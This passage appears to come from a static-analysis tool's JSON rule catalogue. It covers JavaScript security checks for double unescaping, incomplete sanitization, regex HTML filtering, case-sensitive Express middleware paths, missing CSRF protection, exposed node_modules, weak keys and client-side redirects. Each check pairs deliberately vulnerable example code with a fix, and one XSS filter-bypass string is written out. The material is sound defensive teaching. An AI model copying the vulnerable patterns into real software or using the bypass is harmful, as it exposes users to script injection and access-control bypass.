(well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation. For URI encoding, you can use the standard `encodeURIComponent` and `decodeURIComponent` functions.\n\nOtherwise, make sure to always escape the escape character first, and unescape it last.\n\n\n## Example\nThe following example shows a pair of hand-written HTML encoding and decoding functions:\n\n\n```javascript\nmodule.exports.encode = function(s) {\n  return s.replace(/&/g, \"&amp;\")\n          .replace(/\"/g, \"&quot;\")\n          .replace(/'/g, \"&apos;\");\n};\n\nmodule.exports.decode = function(s) {\n  return s.replace(/&amp;/g, \"&\")\n          .replace(/&quot;/g, \"\\\"\")\n          .replace(/&apos;/g, \"'\");\n};\n\n```\nThe encoding function correctly handles ampersand before the other characters. For example, the string `me & \"you\"` is encoded as `me &amp; &quot;you&quot;`, and the string `&quot;` is encoded as `&amp;quot;`.\n\nThe decoding function, however, incorrectly decodes `&amp;` into `&` before handling the other characters. So while it correctly decodes the first example above, it decodes the second example (`&amp;quot;`) to `\"` (a single double quote), which is not correct.\n\nInstead, the decoding function should decode the ampersand last:\n\n\n```javascript\nmodule.exports.encode = function(s) {\n  return s.replace(/&/g, \"&amp;\")\n          .replace(/\"/g, \"&quot;\")\n          .replace(/'/g, \"&apos;\");\n};\n\nmodule.exports.decode = function(s) {\n  return s.replace(/&quot;/g, \"\\\"\")\n          .replace(/&apos;/g, \"'\")\n          .replace(/&amp;/g, \"&\");\n};\n\n```\n\n## References\n* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection).\n* npm: [html-entities](https://www.npmjs.com/package/html-entities) package.\n* npm: [js-string-escape](https://www.npmjs.com/package/js-string-escape) package.\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n","markdown":"# Double escaping or unescaping\nEscaping meta-characters in untrusted input is an important technique for preventing injection attacks such as cross-site scripting. One particular example of this is HTML entity encoding, where HTML special characters are replaced by HTML character entities to prevent them from being interpreted as HTML markup. For example, the less-than character is encoded as `&lt;` and the double-quote character as `&quot;`. Other examples include backslash-escaping for including untrusted data in string literals and percent-encoding for URI components.\n\nThe reverse process of replacing escape sequences with the characters they represent is known as unescaping.\n\nNote that the escape characters themselves (such as ampersand in the case of HTML encoding) play a special role during escaping and unescaping: they are themselves escaped, but also form part of the escaped representations of other characters. Hence care must be taken to avoid double escaping and unescaping: when escaping, the escape character must be escaped first, when unescaping it has to be unescaped last.\n\nIf used in the context of sanitization, double unescaping may render the sanitization ineffective. Even if it is not used in a security-critical context, it may still result in confusing or garbled output.\n\n\n## Recommendation\nUse a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation. For URI encoding, you can use the standard `encodeURIComponent` and `decodeURIComponent` functions.\n\nOtherwise, make sure to always escape the escape character first, and unescape it last.\n\n\n## Example\nThe following example shows a pair of hand-written HTML encoding and decoding functions:\n\n\n```javascript\nmodule.exports.encode = function(s) {\n  return s.replace(/&/g, \"&amp;\")\n          .replace(/\"/g, \"&quot;\")\n          .replace(/'/g, \"&apos;\");\n};\n\nmodule.exports.decode = function(s) {\n  return s.replace(/&amp;/g, \"&\")\n          .replace(/&quot;/g, \"\\\"\")\n          .replace(/&apos;/g, \"'\");\n};\n\n```\nThe encoding function correctly handles ampersand before the other characters. For example, the string `me & \"you\"` is encoded as `me &amp; &quot;you&quot;`, and the string `&quot;` is encoded as `&amp;quot;`.\n\nThe decoding function, however, incorrectly decodes `&amp;` into `&` before handling the other characters. So while it correctly decodes the first example above, it decodes the second example (`&amp;quot;`) to `\"` (a single double quote), which is not correct.\n\nInstead, the decoding function should decode the ampersand last:\n\n\n```javascript\nmodule.exports.encode = function(s) {\n  return s.replace(/&/g, \"&amp;\")\n          .replace(/\"/g, \"&quot;\")\n          .replace(/'/g, \"&apos;\");\n};\n\nmodule.exports.decode = function(s) {\n  return s.replace(/&quot;/g, \"\\\"\")\n          .replace(/&apos;/g, \"'\")\n          .replace(/&amp;/g, \"&\");\n};\n\n```\n\n## References\n* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection).\n* npm: [html-entities](https://www.npmjs.com/package/html-entities) package.\n* npm: [js-string-escape](https://www.npmjs.com/package/js-string-escape) package.\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n"},"properties":{"tags":["correctness","security","external/cwe/cwe-116","external/cwe/cwe-020"],"description":"When escaping special characters using a meta-character like backslash or\n              ampersand, the meta-character has to be escaped first to avoid double-escaping,\n              and conversely it has to be unescaped last to avoid double-unescaping.","id":"js/double-escaping","kind":"problem","name":"Double escaping or unescaping","precision":"high","problem.severity":"warning","security-severity":"7.8"}},{"id":"js/incomplete-sanitization","name":"js/incomplete-sanitization","shortDescription":{"text":"Incomplete string escaping or encoding"},"fullDescription":{"text":"A string transformer that does not replace or escape all occurrences of a meta-character may be ineffective."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Incomplete string escaping or encoding\nSanitizing untrusted input is a common technique for preventing injection attacks such as SQL injection or cross-site scripting. Usually, this is done by escaping meta-characters such as quotes in a domain-specific way so that they are treated as normal characters.\n\nHowever, directly using the string `replace` method to perform escaping is notoriously error-prone. Common mistakes include only replacing the first occurrence of a meta-character, or backslash-escaping various meta-characters but not the backslash itself.\n\nIn the former case, later meta-characters are left undisturbed and can be used to subvert the sanitization. In the latter case, preceding a meta-character with a backslash leads to the backslash being escaped, but the meta-character appearing un-escaped, which again makes the sanitization ineffective.\n\nEven if the escaped string is not used in a security-critical context, incomplete escaping may still have undesirable effects, such as badly rendered or confusing output.\n\n\n## Recommendation\nUse a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using prepared statements for SQL queries.\n\nOtherwise, make sure to use a regular expression with the `g` flag to ensure that all occurrences are replaced, and remember to escape backslashes if applicable.\n\n\n## Example\nFor example, assume that we want to embed a user-controlled string `accountNumber` into a SQL query as part of a string literal. To avoid SQL injection, we need to ensure that the string does not contain un-escaped single-quote characters. The following function attempts to ensure this by doubling single quotes, and thereby escaping them:\n\n\n```javascript\nfunction escapeQuotes(s) {\n  return s.replace(\"'\", \"''\");\n}\n\n```\nAs written, this sanitizer is ineffective: if the first argument to `replace` is a string literal (as in this case), only the *first* occurrence of that string is replaced.\n\nAs mentioned above, the function `escapeQuotes` should be replaced with a purpose-built sanitization library, such as the npm module `sqlstring`. Many other sanitization libraries are available from npm and other sources.\n\nIf this is not an option, `escapeQuotes` should be rewritten to use a regular expression with the `g` (\"global\") flag instead:\n\n\n```javascript\nfunction escapeQuotes(s) {\n  return s.replace(/'/g, \"''\");\n}\n\n```\nNote that it is very important to include the global flag: `s.replace(/'/, \"''\")` *without* the global flag is equivalent to the first example above and only replaces the first quote.\n\n\n## References\n* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection).\n* npm: [sqlstring](https://www.npmjs.com/package/sqlstring) package.\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-80](https://cwe.mitre.org/data/definitions/80.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n","markdown":"# Incomplete string escaping or encoding\nSanitizing untrusted input is a common technique for preventing injection attacks such as SQL injection or cross-site scripting. Usually, this is done by escaping meta-characters such as quotes in a domain-specific way so that they are treated as normal characters.\n\nHowever, directly using the string `replace` method to perform escaping is notoriously error-prone. Common mistakes include only replacing the first occurrence of a meta-character, or backslash-escaping various meta-characters but not the backslash itself.\n\nIn the former case, later meta-characters are left undisturbed and can be used to subvert the sanitization. In the latter case, preceding a meta-character with a backslash leads to the backslash being escaped, but the meta-character appearing un-escaped, which again makes the sanitization ineffective.\n\nEven if the escaped string is not used in a security-critical context, incomplete escaping may still have undesirable effects, such as badly rendered or confusing output.\n\n\n## Recommendation\nUse a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using prepared statements for SQL queries.\n\nOtherwise, make sure to use a regular expression with the `g` flag to ensure that all occurrences are replaced, and remember to escape backslashes if applicable.\n\n\n## Example\nFor example, assume that we want to embed a user-controlled string `accountNumber` into a SQL query as part of a string literal. To avoid SQL injection, we need to ensure that the string does not contain un-escaped single-quote characters. The following function attempts to ensure this by doubling single quotes, and thereby escaping them:\n\n\n```javascript\nfunction escapeQuotes(s) {\n  return s.replace(\"'\", \"''\");\n}\n\n```\nAs written, this sanitizer is ineffective: if the first argument to `replace` is a string literal (as in this case), only the *first* occurrence of that string is replaced.\n\nAs mentioned above, the function `escapeQuotes` should be replaced with a purpose-built sanitization library, such as the npm module `sqlstring`. Many other sanitization libraries are available from npm and other sources.\n\nIf this is not an option, `escapeQuotes` should be rewritten to use a regular expression with the `g` (\"global\") flag instead:\n\n\n```javascript\nfunction escapeQuotes(s) {\n  return s.replace(/'/g, \"''\");\n}\n\n```\nNote that it is very important to include the global flag: `s.replace(/'/, \"''\")` *without* the global flag is equivalent to the first example above and only replaces the first quote.\n\n\n## References\n* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection).\n* npm: [sqlstring](https://www.npmjs.com/package/sqlstring) package.\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-80](https://cwe.mitre.org/data/definitions/80.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"},"properties":{"tags":["correctness","security","external/cwe/cwe-020","external/cwe/cwe-080","external/cwe/cwe-116"],"description":"A string transformer that does not replace or escape all occurrences of a\n              meta-character may be ineffective.","id":"js/incomplete-sanitization","kind":"problem","name":"Incomplete string escaping or encoding","precision":"high","problem.severity":"warning","security-severity":"7.8"}},{"id":"js/bad-tag-filter","name":"js/bad-tag-filter","shortDescription":{"text":"Bad HTML filtering regexp"},"fullDescription":{"text":"Matching HTML tags using regular expressions is hard to do right, and can easily lead to security issues."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Bad HTML filtering regexp\nIt is possible to match some single HTML tags using regular expressions (parsing general HTML using regular expressions is impossible). However, if the regular expression is not written well it might be possible to circumvent it, which can lead to cross-site scripting or other security issues.\n\nSome of these mistakes are caused by browsers having very forgiving HTML parsers, and will often render invalid HTML containing syntax errors. Regular expressions that attempt to match HTML should also recognize tags containing such syntax errors.\n\n\n## Recommendation\nUse a well-tested sanitization or parser library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation.\n\n\n## Example\nThe following example attempts to filters out all `<script>` tags.\n\n\n```javascript\nfunction filterScript(html) {\n    var scriptRegex = /<script\\b[^>]*>([\\s\\S]*?)<\\/script>/gi;\n    var match;\n    while ((match = scriptRegex.exec(html)) !== null) {\n        html = html.replace(match[0], match[1]);\n    }\n    return html;\n}\n\n```\nThe above sanitizer does not filter out all `<script>` tags. Browsers will not only accept `</script>` as script end tags, but also tags such as `</script foo=\"bar\">` even though it is a parser error. This means that an attack string such as `<script>alert(1)</script foo=\"bar\">` will not be filtered by the function, and `alert(1)` will be executed by a browser if the string is rendered as HTML.\n\nOther corner cases include that HTML comments can end with `--!>`, and that HTML tag names can contain upper case characters.\n\n\n## References\n* Securitum: [The Curious Case of Copy &amp; Paste](https://research.securitum.com/the-curious-case-of-copy-paste/).\n* stackoverflow.com: [You can't parse \\[X\\]HTML with regex](https://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags#answer-1732454).\n* HTML Standard: [Comment end bang state](https://html.spec.whatwg.org/multipage/parsing.html#comment-end-bang-state).\n* stackoverflow.com: [Why aren't browsers strict about HTML?](https://stackoverflow.com/questions/25559999/why-arent-browsers-strict-about-html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-80](https://cwe.mitre.org/data/definitions/80.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-184](https://cwe.mitre.org/data/definitions/184.html).\n* Common Weakness Enumeration: [CWE-185](https://cwe.mitre.org/data/definitions/185.html).\n* Common Weakness Enumeration: [CWE-186](https://cwe.mitre.org/data/definitions/186.html).\n","markdown":"# Bad HTML filtering regexp\nIt is possible to match some single HTML tags using regular expressions (parsing general HTML using regular expressions is impossible). However, if the regular expression is not written well it might be possible to circumvent it, which can lead to cross-site scripting or other security issues.\n\nSome of these mistakes are caused by browsers having very forgiving HTML parsers, and will often render invalid HTML containing syntax errors. Regular expressions that attempt to match HTML should also recognize tags containing such syntax errors.\n\n\n## Recommendation\nUse a well-tested sanitization or parser library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation.\n\n\n## Example\nThe following example attempts to filters out all `<script>` tags.\n\n\n```javascript\nfunction filterScript(html) {\n    var scriptRegex = /<script\\b[^>]*>([\\s\\S]*?)<\\/script>/gi;\n    var match;\n    while ((match = scriptRegex.exec(html)) !== null) {\n        html = html.replace(match[0], match[1]);\n    }\n    return html;\n}\n\n```\nThe above sanitizer does not filter out all `<script>` tags. Browsers will not only accept `</script>` as script end tags, but also tags such as `</script foo=\"bar\">` even though it is a parser error. This means that an attack string such as `<script>alert(1)</script foo=\"bar\">` will not be filtered by the function, and `alert(1)` will be executed by a browser if the string is rendered as HTML.\n\nOther corner cases include that HTML comments can end with `--!>`, and that HTML tag names can contain upper case characters.\n\n\n## References\n* Securitum: [The Curious Case of Copy &amp; Paste](https://research.securitum.com/the-curious-case-of-copy-paste/).\n* stackoverflow.com: [You can't parse \\[X\\]HTML with regex](https://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags#answer-1732454).\n* HTML Standard: [Comment end bang state](https://html.spec.whatwg.org/multipage/parsing.html#comment-end-bang-state).\n* stackoverflow.com: [Why aren't browsers strict about HTML?](https://stackoverflow.com/questions/25559999/why-arent-browsers-strict-about-html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-80](https://cwe.mitre.org/data/definitions/80.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-184](https://cwe.mitre.org/data/definitions/184.html).\n* Common Weakness Enumeration: [CWE-185](https://cwe.mitre.org/data/definitions/185.html).\n* Common Weakness Enumeration: [CWE-186](https://cwe.mitre.org/data/definitions/186.html).\n"},"properties":{"tags":["correctness","security","external/cwe/cwe-020","external/cwe/cwe-080","external/cwe/cwe-116","external/cwe/cwe-184","external/cwe/cwe-185","external/cwe/cwe-186"],"description":"Matching HTML tags using regular expressions is hard to do right, and can easily lead to security issues.","id":"js/bad-tag-filter","kind":"problem","name":"Bad HTML filtering regexp","precision":"high","problem.severity":"warning","security-severity":"7.8"}},{"id":"js/case-sensitive-middleware-path","name":"js/case-sensitive-middleware-path","shortDescription":{"text":"Case-sensitive middleware path"},"fullDescription":{"text":"Middleware with case-sensitive paths do not protect endpoints with case-insensitive paths."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Case-sensitive middleware path\nUsing a case-sensitive regular expression path in a middleware route enables an attacker to bypass that middleware when accessing an endpoint with a case-insensitive path. Paths specified using a string are case-insensitive, whereas regular expressions are case-sensitive by default.\n\n\n## Recommendation\nWhen using a regular expression as a middleware path, make sure the regular expression is case-insensitive by adding the `i` flag.\n\n\n## Example\nThe following example restricts access to paths in the `/admin` path to users logged in as administrators:\n\n\n```javascript\nconst app = require('express')();\n\napp.use(/\\/admin\\/.*/, (req, res, next) => {\n    if (!req.user.isAdmin) {\n        res.status(401).send('Unauthorized');\n    } else {\n        next();\n    }\n});\n\napp.get('/admin/users/:id', (req, res) => {\n    res.send(app.database.users[req.params.id]);\n});\n\n```\nA path such as `/admin/users/45` can only be accessed by an administrator. However, the path `/ADMIN/USERS/45` can be accessed by anyone because the upper-case path doesn't match the case-sensitive regular expression, whereas Express considers it to match the path string `/admin/users`.\n\nThe issue can be fixed by adding the `i` flag to the regular expression:\n\n\n```javascript\nconst app = require('express')();\n\napp.use(/\\/admin\\/.*/i, (req, res, next) => {\n    if (!req.user.isAdmin) {\n        res.status(401).send('Unauthorized');\n    } else {\n        next();\n    }\n});\n\napp.get('/admin/users/:id', (req, res) => {\n    res.send(app.database.users[req.params.id]);\n});\n\n```\n\n## References\n* MDN [Regular Expression Flags](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#advanced_searching_with_flags).\n* Common Weakness Enumeration: [CWE-178](https://cwe.mitre.org/data/definitions/178.html).\n","markdown":"# Case-sensitive middleware path\nUsing a case-sensitive regular expression path in a middleware route enables an attacker to bypass that middleware when accessing an endpoint with a case-insensitive path. Paths specified using a string are case-insensitive, whereas regular expressions are case-sensitive by default.\n\n\n## Recommendation\nWhen using a regular expression as a middleware path, make sure the regular expression is case-insensitive by adding the `i` flag.\n\n\n## Example\nThe following example restricts access to paths in the `/admin` path to users logged in as administrators:\n\n\n```javascript\nconst app = require('express')();\n\napp.use(/\\/admin\\/.*/, (req, res, next) => {\n    if (!req.user.isAdmin) {\n        res.status(401).send('Unauthorized');\n    } else {\n        next();\n    }\n});\n\napp.get('/admin/users/:id', (req, res) => {\n    res.send(app.database.users[req.params.id]);\n});\n\n```\nA path such as `/admin/users/45` can only be accessed by an administrator. However, the path `/ADMIN/USERS/45` can be accessed by anyone because the upper-case path doesn't match the case-sensitive regular expression, whereas Express considers it to match the path string `/admin/users`.\n\nThe issue can be fixed by adding the `i` flag to the regular expression:\n\n\n```javascript\nconst app = require('express')();\n\napp.use(/\\/admin\\/.*/i, (req, res, next) => {\n    if (!req.user.isAdmin) {\n        res.status(401).send('Unauthorized');\n    } else {\n        next();\n    }\n});\n\napp.get('/admin/users/:id', (req, res) => {\n    res.send(app.database.users[req.params.id]);\n});\n\n```\n\n## References\n* MDN [Regular Expression Flags](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#advanced_searching_with_flags).\n* Common Weakness Enumeration: [CWE-178](https://cwe.mitre.org/data/definitions/178.html).\n"},"properties":{"tags":["security","external/cwe/cwe-178"],"description":"Middleware with case-sensitive paths do not protect endpoints with case-insensitive paths.","id":"js/case-sensitive-middleware-path","kind":"problem","name":"Case-sensitive middleware path","precision":"high","problem.severity":"warning","security-severity":"7.3"}},{"id":"js/missing-token-validation","name":"js/missing-token-validation","shortDescription":{"text":"Missing CSRF middleware"},"fullDescription":{"text":"Using cookies without CSRF protection may allow malicious websites to submit requests on behalf of the user."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Missing CSRF middleware\nWebsites that rely on cookie-based authentication may be vulnerable to cross-site request forgery (CSRF). Specifically, a state-changing request should include a secret token so the request can't be forged by an attacker. Otherwise, unwanted requests can be submitted on behalf of a user who visits a malicious website.\n\nThis is typically mitigated by embedding a session-specific secret token in each request. This token is then checked as an additional authentication measure. A malicious website should have no way of guessing the correct token to embed in the request.\n\n\n## Recommendation\nUse a middleware package such as `lusca.csrf` to protect against CSRF attacks.\n\n\n## Example\nIn the example below, the server authenticates users before performing the `changeEmail` POST action:\n\n\n```javascript\nconst app = require(\"express\")(),\n  cookieParser = require(\"cookie-parser\"),\n  bodyParser = require(\"body-parser\"),\n  session = require(\"express-session\");\n\napp.use(cookieParser());\napp.use(bodyParser.urlencoded({ extended: false }));\napp.use(session({ secret: process.env['SECRET'], cookie: { maxAge: 60000 } }));\n\n// ...\n\napp.post(\"/changeEmail\", function(req, res) {\n  const userId = req.session.id;\n  const email = req.body[\"email\"];\n  // ... update email associated with userId\n});\n\n```\nThis is not secure. An attacker can submit a POST `changeEmail` request on behalf of a user who visited a malicious website. Since authentication happens without any action from the user, the `changeEmail` action would be executed, despite not being initiated by the user.\n\nThis vulnerability can be mitigated by installing a CSRF protecting middleware handler:\n\n\n```javascript\nconst app = require(\"express\")(),\n  cookieParser = require(\"cookie-parser\"),\n  bodyParser = require(\"body-parser\"),\n  session = require(\"express-session\"),\n  csrf = require('lusca').csrf;\n\napp.use(cookieParser());\napp.use(bodyParser.urlencoded({ extended: false }));\napp.use(session({ secret: process.env['SECRET'], cookie: { maxAge: 60000 } }));\napp.use(csrf());\n\n// ...\n\napp.post(\"/changeEmail\", function(req, res) {\n  const userId = req.session.id;\n  const email = req.body[\"email\"];\n  // ... update email associated with userId\n});\n\n```\n\n## References\n* OWASP: [Cross-Site Request Forgery (CSRF)](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))\n* NPM: [lusca](https://www.npmjs.com/package/lusca)\n* Common Weakness Enumeration: [CWE-352](https://cwe.mitre.org/data/definitions/352.html).\n","markdown":"# Missing CSRF middleware\nWebsites that rely on cookie-based authentication may be vulnerable to cross-site request forgery (CSRF). Specifically, a state-changing request should include a secret token so the request can't be forged by an attacker. Otherwise, unwanted requests can be submitted on behalf of a user who visits a malicious website.\n\nThis is typically mitigated by embedding a session-specific secret token in each request. This token is then checked as an additional authentication measure. A malicious website should have no way of guessing the correct token to embed in the request.\n\n\n## Recommendation\nUse a middleware package such as `lusca.csrf` to protect against CSRF attacks.\n\n\n## Example\nIn the example below, the server authenticates users before performing the `changeEmail` POST action:\n\n\n```javascript\nconst app = require(\"express\")(),\n  cookieParser = require(\"cookie-parser\"),\n  bodyParser = require(\"body-parser\"),\n  session = require(\"express-session\");\n\napp.use(cookieParser());\napp.use(bodyParser.urlencoded({ extended: false }));\napp.use(session({ secret: process.env['SECRET'], cookie: { maxAge: 60000 } }));\n\n// ...\n\napp.post(\"/changeEmail\", function(req, res) {\n  const userId = req.session.id;\n  const email = req.body[\"email\"];\n  // ... update email associated with userId\n});\n\n```\nThis is not secure. An attacker can submit a POST `changeEmail` request on behalf of a user who visited a malicious website. Since authentication happens without any action from the user, the `changeEmail` action would be executed, despite not being initiated by the user.\n\nThis vulnerability can be mitigated by installing a CSRF protecting middleware handler:\n\n\n```javascript\nconst app = require(\"express\")(),\n  cookieParser = require(\"cookie-parser\"),\n  bodyParser = require(\"body-parser\"),\n  session = require(\"express-session\"),\n  csrf = require('lusca').csrf;\n\napp.use(cookieParser());\napp.use(bodyParser.urlencoded({ extended: false }));\napp.use(session({ secret: process.env['SECRET'], cookie: { maxAge: 60000 } }));\napp.use(csrf());\n\n// ...\n\napp.post(\"/changeEmail\", function(req, res) {\n  const userId = req.session.id;\n  const email = req.body[\"email\"];\n  // ... update email associated with userId\n});\n\n```\n\n## References\n* OWASP: [Cross-Site Request Forgery (CSRF)](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))\n* NPM: [lusca](https://www.npmjs.com/package/lusca)\n* Common Weakness Enumeration: [CWE-352](https://cwe.mitre.org/data/definitions/352.html).\n"},"properties":{"tags":["security","external/cwe/cwe-352"],"description":"Using cookies without CSRF protection may allow malicious websites to\n              submit requests on behalf of the user.","id":"js/missing-token-validation","kind":"problem","name":"Missing CSRF middleware","precision":"high","problem.severity":"error","security-severity":"8.8"}},{"id":"js/exposure-of-private-files","name":"js/exposure-of-private-files","shortDescription":{"text":"Exposure of private files"},"fullDescription":{"text":"Exposing a node_modules folder, or the project folder to the public, can cause exposure of private information."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Exposure of private files\nLibraries like `express` provide easy methods for serving entire directories of static files from a web server. However, using these can sometimes lead to accidental information exposure. If for example the `node_modules` folder is served, then an attacker can access the `_where` field from a `package.json` file, which gives access to the absolute path of the file.\n\n\n## Recommendation\nLimit which folders of static files are served from a web server.\n\n\n## Example\nIn the example below, all the files from the `node_modules` are served. This allows clients to easily access all the files inside that folder, which includes potentially private information inside `package.json` files.\n\n\n```javascript\n\nvar express = require('express');\n\nvar app = express();\n\napp.use('/node_modules', express.static(path.resolve(__dirname, '../node_modules')));\n```\nThe issue has been fixed below by only serving specific folders within the `node_modules` folder.\n\n\n```javascript\n\nvar express = require('express');\n\nvar app = express();\n\napp.use(\"jquery\", express.static('./node_modules/jquery/dist'));\napp.use(\"bootstrap\", express.static('./node_modules/bootstrap/dist'));\n```\n\n## References\n* OWASP: [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure).\n* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html).\n* Common Weakness Enumeration: [CWE-219](https://cwe.mitre.org/data/definitions/219.html).\n* Common Weakness Enumeration: [CWE-548](https://cwe.mitre.org/data/definitions/548.html).\n","markdown":"# Exposure of private files\nLibraries like `express` provide easy methods for serving entire directories of static files from a web server. However, using these can sometimes lead to accidental information exposure. If for example the `node_modules` folder is served, then an attacker can access the `_where` field from a `package.json` file, which gives access to the absolute path of the file.\n\n\n## Recommendation\nLimit which folders of static files are served from a web server.\n\n\n## Example\nIn the example below, all the files from the `node_modules` are served. This allows clients to easily access all the files inside that folder, which includes potentially private information inside `package.json` files.\n\n\n```javascript\n\nvar express = require('express');\n\nvar app = express();\n\napp.use('/node_modules', express.static(path.resolve(__dirname, '../node_modules')));\n```\nThe issue has been fixed below by only serving specific folders within the `node_modules` folder.\n\n\n```javascript\n\nvar express = require('express');\n\nvar app = express();\n\napp.use(\"jquery\", express.static('./node_modules/jquery/dist'));\napp.use(\"bootstrap\", express.static('./node_modules/bootstrap/dist'));\n```\n\n## References\n* OWASP: [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure).\n* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html).\n* Common Weakness Enumeration: [CWE-219](https://cwe.mitre.org/data/definitions/219.html).\n* Common Weakness Enumeration: [CWE-548](https://cwe.mitre.org/data/definitions/548.html).\n"},"properties":{"tags":["security","external/cwe/cwe-200","external/cwe/cwe-219","external/cwe/cwe-548"],"description":"Exposing a node_modules folder, or the project folder to the public, can cause exposure\n              of private information.","id":"js/exposure-of-private-files","kind":"problem","name":"Exposure of private files","precision":"high","problem.severity":"warning","security-severity":"6.5"}},{"id":"js/insufficient-key-size","name":"js/insufficient-key-size","shortDescription":{"text":"Use of a weak cryptographic key"},"fullDescription":{"text":"Using a weak cryptographic key can allow an attacker to compromise security."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Use of a weak cryptographic key\nModern encryption relies on it being computationally infeasible to break the cipher and decode a message without the key. As computational power increases, the ability to break ciphers grows and keys need to become larger.\n\n\n## Recommendation\nAn encryption key should be at least 2048-bit long when using RSA encryption, and 128-bit long when using symmetric encryption.\n\n\n## References\n* Wikipedia: [RSA](https://en.wikipedia.org/wiki/RSA_(cryptosystem)).\n* Wikipedia: [AES](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard).\n* NodeJS: [Crypto](https://nodejs.org/api/crypto.html).\n* NIST: [ Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf).\n* Wikipedia: [Key size](https://en.wikipedia.org/wiki/Key_size)\n* Common Weakness Enumeration: [CWE-326](https://cwe.mitre.org/data/definitions/326.html).\n","markdown":"# Use of a weak cryptographic key\nModern encryption relies on it being computationally infeasible to break the cipher and decode a message without the key. As computational power increases, the ability to break ciphers grows and keys need to become larger.\n\n\n## Recommendation\nAn encryption key should be at least 2048-bit long when using RSA encryption, and 128-bit long when using symmetric encryption.\n\n\n## References\n* Wikipedia: [RSA](https://en.wikipedia.org/wiki/RSA_(cryptosystem)).\n* Wikipedia: [AES](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard).\n* NodeJS: [Crypto](https://nodejs.org/api/crypto.html).\n* NIST: [ Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf).\n* Wikipedia: [Key size](https://en.wikipedia.org/wiki/Key_size)\n* Common Weakness Enumeration: [CWE-326](https://cwe.mitre.org/data/definitions/326.html).\n"},"properties":{"tags":["security","external/cwe/cwe-326"],"description":"Using a weak cryptographic key can allow an attacker to compromise security.","id":"js/insufficient-key-size","kind":"problem","name":"Use of a weak cryptographic key","precision":"high","problem.severity":"warning","security-severity":"7.5"}},{"id":"js/client-side-unvalidated-url-redirection","name":"js/client-side-unvalidated-url-redirection","shortDescription":{"text":"Client-side URL redirect"},"fullDescription":{"text":"Client-side URL redirection based on unvalidated user input may cause redirection to malicious web sites."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Client-side URL redirect\nRedirecting to a URL that is constructed from parts of the DOM that may be controlled by an attacker can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker.\n\n\n## Recommendation\nTo guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided.\n\n\n## Example\nThe following example uses a regular expression to extract a query parameter from the document URL, and then uses it to construct a new URL to redirect to without any further validation. This may allow an attacker to craft a link that redirects from a trusted website to some arbitrary website of their choosing, which facilitates phishing attacks:\n\n\n```javascript\nwindow.location = /.*redirect=([^&]*).*/.exec(document.location.href)[1];\n\n```\n\n## References\n* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat 